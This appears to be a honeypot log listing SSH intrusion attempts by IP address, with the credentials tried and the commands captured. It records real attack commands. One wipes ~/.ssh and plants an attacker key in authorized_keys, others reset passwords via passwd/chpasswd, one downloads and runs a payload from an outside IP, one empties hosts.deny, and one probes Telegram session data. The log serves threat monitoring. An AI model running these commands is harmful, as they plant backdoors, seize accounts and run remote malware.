๐ŸŽญ wily_windmill_root (91.92.40.49) โ€” Eygelshoven, The Netherlands ยท 13 sessions ยท 13 cmds
2026-07-29 16:11 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—13
๐ŸŽญ aloof_panda_root (81.70.240.193) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-29 15:16 EDT ยท as root/root
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ lurking_gouda_root (45.153.34.165) โ€” Eygelshoven, The Netherlands ยท 22 sessions ยท 22 cmds
2026-07-29 14:25 EDT ยท as admin/123456, admin/admin, admin/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—22
๐ŸŽญ zealous_lantern_root_75 (116.62.243.75) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-29 14:47 EDT ยท as pi/pi
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ ashen_orchid_root (103.189.234.85) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-29 11:12 EDT ยท as oracle/oracle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rabid_blitz_root_54 (173.44.224.54) โ€” Frankfurt am Main, Germany ยท 1 session ยท 20 cmds
2026-07-29 10:57 EDT ยท as mysql/mysql
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "mysql\nKrjVLS5sMxAw"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "mysql\nKrjVLS5sMxAw
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "mysql\nKrjVLS5sMxAw\nKrjVLS5sMxAw"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql\nKrjVLS5sMxAw\nKrjVLS5sMxAw\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rabid_dragon_root (106.13.5.194) โ€” Beijing, China ยท 3 sessions ยท 3 cmds
2026-07-29 09:10 EDT ยท as test/123456, ubuntu/ubuntu, user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—3
๐ŸŽญ sneaky_fjord (45.198.224.26) โ€” Stockholm, Sweden ยท 1 session ยท 1 cmd
2026-07-29 06:03 EDT ยท as user/user
payload download from C2
$ wget http://5.182.210.61/ok -O /tmp/ok; curl http://5.182.210.61/ok -o /tmp/ok; chmod 777 /tmp/ok; sh /tmp/ok; rm -rf /tmp/ok; rm -rf /tmp/ok.1
โ†ณ payload download from C2
๐ŸŽญ brazen_ghost_root (81.192.46.49) โ€” Casablanca, Morocco ยท 2 sessions ยท 4 cmds
2026-07-01 04:54 EDT ยท as oracle/0000, oracle/oracle@2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ cryptic_orchid_root (101.47.14.46) โ€” Singapore, Singapore ยท 2 sessions ยท 22 cmds
2026-06-30 08:52 EDT ยท as admin/password, oracle/Oracle123!
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "password\nTAlCqKHpGC8H\nTAlCqKHpGC8H"|passwd|bash โ†’ cat /
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nTAlCqKHpGC8H\nTAlCqKHpGC8H"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nTAlCqKHpGC8H\nTAlCqKHpGC8H\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ manic_baguette_root (92.62.246.38) โ€” Paris, France ยท 1 session ยท 2 cmds
2026-07-29 01:08 EDT ยท as oracle/oracleadmin
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ zealous_dutch_root (45.153.34.186) โ€” Amsterdam, The Netherlands ยท 124 sessions ยท 124 cmds
2026-07-09 10:49 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—124
๐ŸŽญ venomous_jade_db (47.96.19.40) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-28 23:47 EDT ยท as oracle/oracle
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ spectral_dragon_root (103.236.89.88) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-28 22:05 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ placid_sultan_root (45.8.196.101) โ€” Osmangazi, Tรผrkiye ยท 1 session ยท 1 cmd
2026-07-28 19:14 EDT ยท as root/123456
CPU profiling
$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}'
โ†ณ CPU profiling
๐ŸŽญ velvet_rendang_root (103.193.179.139) โ€” Cicurug, Indonesia ยท 3 sessions ยท 24 cmds
2026-07-28 18:01 EDT ยท as admin/password, oracle/abcd1234, oracle/adminadmin
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "password\nx6bXePdnJASF\nx6bXePdnJASF"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "password\nx
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nx6bXePdnJASF\nx6bXePdnJASF"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nx6bXePdnJASF\nx6bXePdnJASF\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ wired_lucha_root (200.77.172.159) โ€” Cuauhtรฉmoc, Mexico ยท 3 sessions ยท 24 cmds
2026-07-28 17:08 EDT ยท as admin/password, oracle/abcd1234, oracle/adminadmin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nTgupgkh88WRb\nTgupgkh88WRb"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nTgupgkh88WRb\nTgupgkh88WRb\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ spectral_taipei_root (34.81.72.185) โ€” Taipei, Taiwan ยท 1 session ยท 20 cmds
2026-07-28 18:03 EDT ยท as eth/eth
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "eth\n8v1x9Nv0n2XG\n8v1x9Nv0n2XG"|passwd|bash
$ Enter new UNIX password:
$ echo "eth\n8v1x9Nv0n2XG\n8v1x9Nv0n2XG\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ listless_cowboy_root (170.106.105.73) โ€” Santa Clara, United States ยท 7 sessions ยท 35 cmds
2026-07-15 16:57 EDT ยท as root/123456, root/admin, root/password
hostname โ†’ cat โ†’ free โ†’ df
$ hostname -f 2>/dev/null || hostname 2>/dev/null || uname -n ร—7
$ cat /proc/meminfo | grep MemTotal | awk '{print $2}' ร—7
$ free -m | awk '/^Mem:/ {print $2}' ร—7
$ df -BG / 2>/dev/null | awk 'NR==2 {print $2}' | sed 's/G//' ร—7
$ cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d= -f2 | tr -d '"' ร—7
๐ŸŽญ weary_sensei_root (118.194.228.101) โ€” Tokyo, Japan ยท 1 session ยท 2 cmds
2026-07-28 09:04 EDT ยท as oracle/12345678
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sneaky_autobahn_root_221 (34.159.18.221) โ€” Frankfurt, Germany ยท 2 sessions ยท 18 cmds
2026-07-17 13:51 EDT ยท as root/root
Credential use (root/root) โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM โ†’ locate D87
$ /ip cloud print ร—2
$ ifconfig ร—2
โ†ณ network mapping
$ uname -a ร—2
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—2
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—2
$ ps -ef | grep '[Mm]iner' ร—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—2
$ locate D877F783D5D3EF8Cs ร—2
$ echo Hi | cat -n ร—2
๐ŸŽญ cryptic_windmill_root (91.92.40.171) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-10 02:16 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ haywire_wok_root_189 (36.133.45.189) โ€” Guangzhou, China ยท 2 sessions ยท 2 cmds
2026-07-23 17:09 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m ร—2
๐ŸŽญ crimson_bamboo_root (103.20.97.75) โ€” An Phรบ, Vietnam ยท 1 session ยท 19 cmds
2026-07-28 00:35 EDT ยท as root/root
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:s70rUhn07Dso"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ashen_durian_root (104.43.56.65) โ€” Singapore, Singapore ยท 35 sessions ยท 35 cmds
2026-07-27 22:20 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 175x across 175 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—35
๐ŸŽญ glitchy_pasta_root (151.50.230.117) โ€” Bari, Italy ยท 1 session ยท 9 cmds
2026-07-27 20:45 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ ashen_eagle_sol (147.182.167.76) โ€” North Bergen, United States ยท 1 session ยท 1 cmd
2026-07-27 19:37 EDT ยท as sol/sol
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ aloof_cipher_root (92.62.233.214) โ€” ฤŒeskรฉ Budฤ›jovice, Czechia ยท 2 sessions ยท 21 cmds
2026-07-24 23:47 EDT ยท as oracle/ORACLE, root/Aaa123123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:E6iWKaqjV08B"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ nocturnal_dragon_root (39.105.12.222) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-27 19:19 EDT ยท as pi/pi
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ grumpy_rendang_root (36.64.68.99) โ€” Depok, Indonesia ยท 2 sessions ยท 4 cmds
2026-07-27 18:02 EDT ยท as oracle/Oracle123456, oracle/P@ssword123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ stoic_autobahn_root (46.101.216.224) โ€” Frankfurt am Main, Germany ยท 2 sessions ยท 4 cmds
2026-07-27 16:22 EDT ยท as oracle/oracle123!, oracle/oracle@2022
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
